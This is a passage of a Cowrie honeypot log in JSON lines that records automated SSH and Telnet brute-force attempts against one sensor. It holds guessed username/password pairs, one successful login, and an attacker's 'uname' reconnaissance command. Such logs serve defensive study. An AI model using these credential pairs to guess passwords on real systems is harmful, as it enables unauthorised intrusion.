16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:50.163110Z","src_ip":"193.37.70.224","session":"cd09acc28765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:51.038596Z","src_ip":"193.37.70.224","session":"cd09acc28765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:51.196773Z","src_ip":"91.92.42.133","session":"3c436df4520f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60832,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f1744a3e3d","protocol":"ssh","message":"New connection: 91.92.40.171:60832 (159.203.135.109:22) [session: 36f1744a3e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:51.430106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:51.448937Z","src_ip":"91.92.40.171","session":"36f1744a3e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:51.525562Z","src_ip":"91.92.40.171","session":"36f1744a3e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:51.877365Z","src_ip":"91.92.40.171","session":"36f1744a3e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:52.244869Z","src_ip":"193.37.70.224","session":"cd09acc28765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:53.143641Z","src_ip":"91.92.40.171","session":"36f1744a3e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54550,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd79a556e058","protocol":"ssh","message":"New connection: 91.92.42.133:54550 (159.203.135.109:22) [session: dd79a556e058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:55.212779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:55.246266Z","src_ip":"91.92.42.133","session":"dd79a556e058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:55.314542Z","src_ip":"91.92.42.133","session":"dd79a556e058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:55.642460Z","src_ip":"91.92.42.133","session":"dd79a556e058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:56.877936Z","src_ip":"91.92.42.133","session":"dd79a556e058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47208,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8505727afff","protocol":"ssh","message":"New connection: 91.92.40.171:47208 (159.203.135.109:22) [session: d8505727afff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:57.441362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:57.445812Z","src_ip":"91.92.40.171","session":"d8505727afff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50020,"dst_ip":"159.203.135.109","dst_port":23,"session":"59dc6ce70ae7","protocol":"telnet","message":"New connection: 172.81.62.90:50020 (159.203.135.109:23) [session: 59dc6ce70ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:57.730298Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:57.934560Z","src_ip":"91.92.40.171","session":"d8505727afff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54602,"dst_ip":"159.203.135.109","dst_port":22,"session":"d92f1734e154","protocol":"ssh","message":"New connection: 91.92.42.133:54602 (159.203.135.109:22) [session: d92f1734e154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:00.307669Z"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:00.340654Z","src_ip":"91.92.40.171","session":"d8505727afff","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:00.352473Z","src_ip":"91.92.42.133","session":"d92f1734e154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:00.410674Z","src_ip":"91.92.42.133","session":"d92f1734e154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:00.783669Z","src_ip":"91.92.42.133","session":"d92f1734e154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50028,"dst_ip":"159.203.135.109","dst_port":23,"session":"81bec2e5aceb","protocol":"telnet","message":"New connection: 172.81.62.90:50028 (159.203.135.109:23) [session: 81bec2e5aceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:01.794711Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:01.880400Z","src_ip":"91.92.42.133","session":"d92f1734e154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:01.911277Z","src_ip":"91.92.40.171","session":"d8505727afff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58424,"dst_ip":"159.203.135.109","dst_port":23,"session":"b798bc07539e","protocol":"telnet","message":"New connection: 172.81.62.90:58424 (159.203.135.109:23) [session: b798bc07539e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:02.881038Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47220,"dst_ip":"159.203.135.109","dst_port":22,"session":"54ef3935bd35","protocol":"ssh","message":"New connection: 91.92.40.171:47220 (159.203.135.109:22) [session: 54ef3935bd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:03.030228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:03.050321Z","src_ip":"91.92.40.171","session":"54ef3935bd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:03.563362Z","src_ip":"91.92.40.171","session":"54ef3935bd35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:05.220438Z","src_ip":"91.92.40.171","session":"54ef3935bd35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40720,"dst_ip":"159.203.135.109","dst_port":22,"session":"221f25e2f2df","protocol":"ssh","message":"New connection: 91.92.42.133:40720 (159.203.135.109:22) [session: 221f25e2f2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:06.144805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:06.149365Z","src_ip":"91.92.42.133","session":"221f25e2f2df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:06.239627Z","src_ip":"91.92.42.133","session":"221f25e2f2df","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:06.563885Z","src_ip":"91.92.40.171","session":"54ef3935bd35","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:06.567112Z","src_ip":"91.92.40.171","session":"54ef3935bd35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:06.676616Z","src_ip":"91.92.42.133","session":"221f25e2f2df","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:07.118242Z","src_ip":"91.92.40.171","session":"54ef3935bd35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:07.123401Z","src_ip":"91.92.40.171","session":"54ef3935bd35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:07.764858Z","src_ip":"91.92.42.133","session":"221f25e2f2df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56380,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde7118e973a","protocol":"ssh","message":"New connection: 91.92.40.171:56380 (159.203.135.109:22) [session: bde7118e973a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:07.794598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:07.813133Z","src_ip":"91.92.40.171","session":"bde7118e973a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:07.924937Z","src_ip":"91.92.40.171","session":"bde7118e973a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:08.327367Z","src_ip":"91.92.40.171","session":"bde7118e973a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:09.439044Z","src_ip":"91.92.40.171","session":"bde7118e973a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40760,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5db155f74f5","protocol":"ssh","message":"New connection: 91.92.42.133:40760 (159.203.135.109:22) [session: f5db155f74f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:12.022158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:12.026963Z","src_ip":"91.92.42.133","session":"f5db155f74f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.